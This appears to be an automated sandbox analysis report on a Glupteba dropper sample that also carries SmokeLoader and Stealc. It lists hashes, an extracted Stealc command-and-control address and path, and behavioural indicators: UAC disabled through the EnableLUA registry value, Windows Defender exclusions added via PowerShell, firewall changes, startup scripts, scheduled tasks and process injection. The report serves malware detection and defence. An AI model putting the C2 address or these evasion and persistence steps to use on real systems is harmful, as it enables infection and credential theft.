glupteba | 18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97

Analysis

max time kernel
21s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08/05/2024, 22:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Size

390KB
MD5

18b50c6016cd5d7ff2f01b71a5e3373b
SHA1

d62dc0a84e39a1fff24163153761c62a55ff30fe
SHA256

18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97
SHA512

27e0017fa30a9322e71191b2c4954d1f55d8fe827f029092fa3bdd6a52e799bbb671a776c3596a1df02d8ebe660b2192f293cb67252ec289bbc99a8725ceaa19
SSDEEP

6144:LlEGEyWKpTlDB878Ed8nFO+tFXFBCorNVDq5GZJrtLK7BYY0g2wqS5e8x:KGEyWERrpdTjZDqeh2Beg28Tx

Score

10^/10

glupteba smokeloader stealc pub2 backdoor dropper evasion execution loader stealer trojan upx

Malware Config

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Extracted

Family

smokeloader

Botnet

pub2

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 20 IoCs

resource	yara_rule
behavioral2/memory/4276-1277-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/820-1278-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/4164-1280-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/4892-1285-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/4892-1626-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5672-3745-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5660-3985-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5660-3986-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4947-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4951-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4953-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4956-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4960-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4962-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4965-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4969-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4972-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4975-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4977-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba
behavioral2/memory/5416-4980-0x0000000000400000-0x0000000002957000-memory.dmp	family_glupteba

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
32	powershell.exe
3632	powershell.exe
1588	powershell.exe
5908	powershell.exe
1588	powershell.exe
1912	powershell.exe
2432	powershell.exe
4532	powershell.exe
4176	powershell.exe
6056	powershell.exe
5056	powershell.exe
5436	powershell.exe
2136	powershell.exe
6060	powershell.exe
2872	powershell.exe
6016	powershell.exe
4204	powershell.exe
4636	powershell.exe
5940	powershell.exe
508	powershell.exe
4204	powershell.exe
6120	powershell.exe
4600	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2008	netsh.exe
616	netsh.exe
1012	netsh.exe
5704	netsh.exe

Drops startup file 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YhsaLocvJessSACaNOxyrkJw.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\g2dVVOaGOpHYb6mkkbojkiET.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9eEin4Y9UvGDlF8NJAeoHLxe.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ol2QQNji0qRDFLKVtfJrBx1d.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7qrRGfdRBf23KJtYnbc0eNNP.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LkdpwJHVFP9CKmgsK1dDi63G.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KKCpPHhjTw9iH2Vs1WHimRkO.bat	regasm.exe

Executes dropped EXE 12 IoCs

pid	Process
2516	h1rdpOnnoWHXmz8j0MG6wwsM.exe
820	SBya28cw14PDfts5VWP5VLwI.exe
4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe
4276	QF2HpUI9dMT0RUV2v15k4rOM.exe
4164	h57yHzaroaSMPMhdAurV9Q4b.exe
1288	UqFZ0Pj7JISRifvO5aTu2h0H.exe
1056	u1xw.0.exe
5380	u1xw.1.exe
5744	SBya28cw14PDfts5VWP5VLwI.exe
5660	h57yHzaroaSMPMhdAurV9Q4b.exe
5672	QF2HpUI9dMT0RUV2v15k4rOM.exe
5216	Relation.pif

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4020-4946-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5084-4945-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4020-4944-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5084-4949-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5084-4957-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5168-5255-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/memory/5168-5259-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/memory/5920-5499-0x0000000000330000-0x0000000000BFD000-memory.dmp	upx
behavioral2/memory/4668-5736-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/5920-5740-0x0000000000330000-0x0000000000BFD000-memory.dmp	upx
behavioral2/memory/4668-5742-0x0000000000400000-0x00000000008E8000-memory.dmp	upx

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
4	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2428 set thread context of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5904	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3812	1056	WerFault.exe	99

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1xw.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1xw.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1xw.1.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
6004	schtasks.exe
1088	schtasks.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
5320	tasklist.exe
5396	tasklist.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	100	Go-http-client/1.1
HTTP User-Agent header	101	Go-http-client/1.1
HTTP User-Agent header	106	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	SBya28cw14PDfts5VWP5VLwI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	QF2HpUI9dMT0RUV2v15k4rOM.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2640	PING.EXE

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
32	powershell.exe
32	powershell.exe
32	powershell.exe
2136	powershell.exe
2136	powershell.exe
4204	powershell.exe
4204	powershell.exe
4532	powershell.exe
4532	powershell.exe
1588	powershell.exe
1588	powershell.exe
4204	powershell.exe
4532	powershell.exe
2136	powershell.exe
1588	powershell.exe
2136	powershell.exe
4204	powershell.exe
4532	powershell.exe
1588	powershell.exe
820	SBya28cw14PDfts5VWP5VLwI.exe
820	SBya28cw14PDfts5VWP5VLwI.exe
4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe
4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe
4164	h57yHzaroaSMPMhdAurV9Q4b.exe
4164	h57yHzaroaSMPMhdAurV9Q4b.exe
4276	QF2HpUI9dMT0RUV2v15k4rOM.exe
4276	QF2HpUI9dMT0RUV2v15k4rOM.exe
6120	powershell.exe
6120	powershell.exe
6060	powershell.exe
6060	powershell.exe
6056	powershell.exe
6056	powershell.exe
6120	powershell.exe
6056	powershell.exe
6060	powershell.exe
6120	powershell.exe
6056	powershell.exe
6060	powershell.exe
5216	Relation.pif
5216	Relation.pif
5216	Relation.pif
5216	Relation.pif
5216	Relation.pif
5216	Relation.pif

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe
Token: SeDebugPrivilege	32	powershell.exe
Token: SeDebugPrivilege	4100	regasm.exe
Token: SeIncreaseQuotaPrivilege	32	powershell.exe
Token: SeSecurityPrivilege	32	powershell.exe
Token: SeTakeOwnershipPrivilege	32	powershell.exe
Token: SeLoadDriverPrivilege	32	powershell.exe
Token: SeSystemProfilePrivilege	32	powershell.exe
Token: SeSystemtimePrivilege	32	powershell.exe
Token: SeProfSingleProcessPrivilege	32	powershell.exe
Token: SeIncBasePriorityPrivilege	32	powershell.exe
Token: SeCreatePagefilePrivilege	32	powershell.exe
Token: SeBackupPrivilege	32	powershell.exe
Token: SeRestorePrivilege	32	powershell.exe
Token: SeShutdownPrivilege	32	powershell.exe
Token: SeDebugPrivilege	32	powershell.exe
Token: SeSystemEnvironmentPrivilege	32	powershell.exe
Token: SeRemoteShutdownPrivilege	32	powershell.exe
Token: SeUndockPrivilege	32	powershell.exe
Token: SeManageVolumePrivilege	32	powershell.exe
Token: 33	32	powershell.exe
Token: 34	32	powershell.exe
Token: 35	32	powershell.exe
Token: 36	32	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	5320	tasklist.exe
Token: SeDebugPrivilege	5396	tasklist.exe
Token: SeDebugPrivilege	820	SBya28cw14PDfts5VWP5VLwI.exe
Token: SeImpersonatePrivilege	820	SBya28cw14PDfts5VWP5VLwI.exe
Token: SeDebugPrivilege	4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe
Token: SeDebugPrivilege	4164	h57yHzaroaSMPMhdAurV9Q4b.exe
Token: SeImpersonatePrivilege	4892	dE2ZUYXTjC8Sx9cKfB5K4etG.exe
Token: SeImpersonatePrivilege	4164	h57yHzaroaSMPMhdAurV9Q4b.exe
Token: SeDebugPrivilege	4276	QF2HpUI9dMT0RUV2v15k4rOM.exe
Token: SeImpersonatePrivilege	4276	QF2HpUI9dMT0RUV2v15k4rOM.exe
Token: SeDebugPrivilege	6120	powershell.exe
Token: SeDebugPrivilege	6060	powershell.exe
Token: SeDebugPrivilege	6056	powershell.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5216	Relation.pif
5216	Relation.pif
5216	Relation.pif

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5380	u1xw.1.exe
5216	Relation.pif
5216	Relation.pif
5216	Relation.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 32	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	75
PID 2428 wrote to memory of 32	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	75
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 4100	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	77
PID 2428 wrote to memory of 752	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	78
PID 2428 wrote to memory of 752	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	78
PID 2428 wrote to memory of 752	2428	18d62aa8d04103058203e75fe4039dadb80eb0927ddd23b14f89c984f28aea97.exe	78
PID 4100 wrote to memory of 2516	4100	regasm.exe	82
PID 4100 wrote to memory of 2516	4100	regasm.exe	82
PID 4100 wrote to memory of 2516	4100	regasm.exe	82
PID 4100 wrote to memory of 820	4100	regasm.exe	83
PID 4100 wrote to memory of 820	4100	regasm.exe	83
PID 4100 wrote to memory of 820	4100	regasm.exe	83
PID 4100 wrote to memory of 4892	4100	regasm.exe	84
PID 4100 wrote to memory of 4892	4100	regasm.exe	84
PID 4100 wrote to memory of 4892	4100	regasm.exe	84
PID 4100 wrote to memory of 4276	4100	regasm.exe	85
PID 4100 wrote to memory of 4276	4100	regasm.exe	85
PID 4100 wrote to memory of 4276	4100	regasm.exe	85
PID 4100 wrote to memory of 4164	4100	regasm.exe	86
PID 4100 wrote to memory of 4164	4100	regasm.exe	86
PID 4100 wrote to memory of 4164	4100	regasm.exe	86
PID 4164 wrote to memory of 4532	4164	h57yHzaroaSMPMhdAurV9Q4b.exe	88
PID 4164 wrote to memory of 4532	4164	h57yHzaroaSMPMhdAurV9Q4b.exe	88
PID 4164 wrote to memory of 4532	4164	h57yHzaroaSMPMhdAurV9Q4b.exe	88
PID 820 wrote to memory of 2136	820	SBya28cw14PDfts5VWP5VLwI.exe	89
PID 820 wrote to memory of 2136	820	SBya28cw14PDfts5VWP5VLwI.exe	89
PID 820 wrote to memory of 2136	820	SBya28cw14PDfts5VWP5VLwI.exe	89
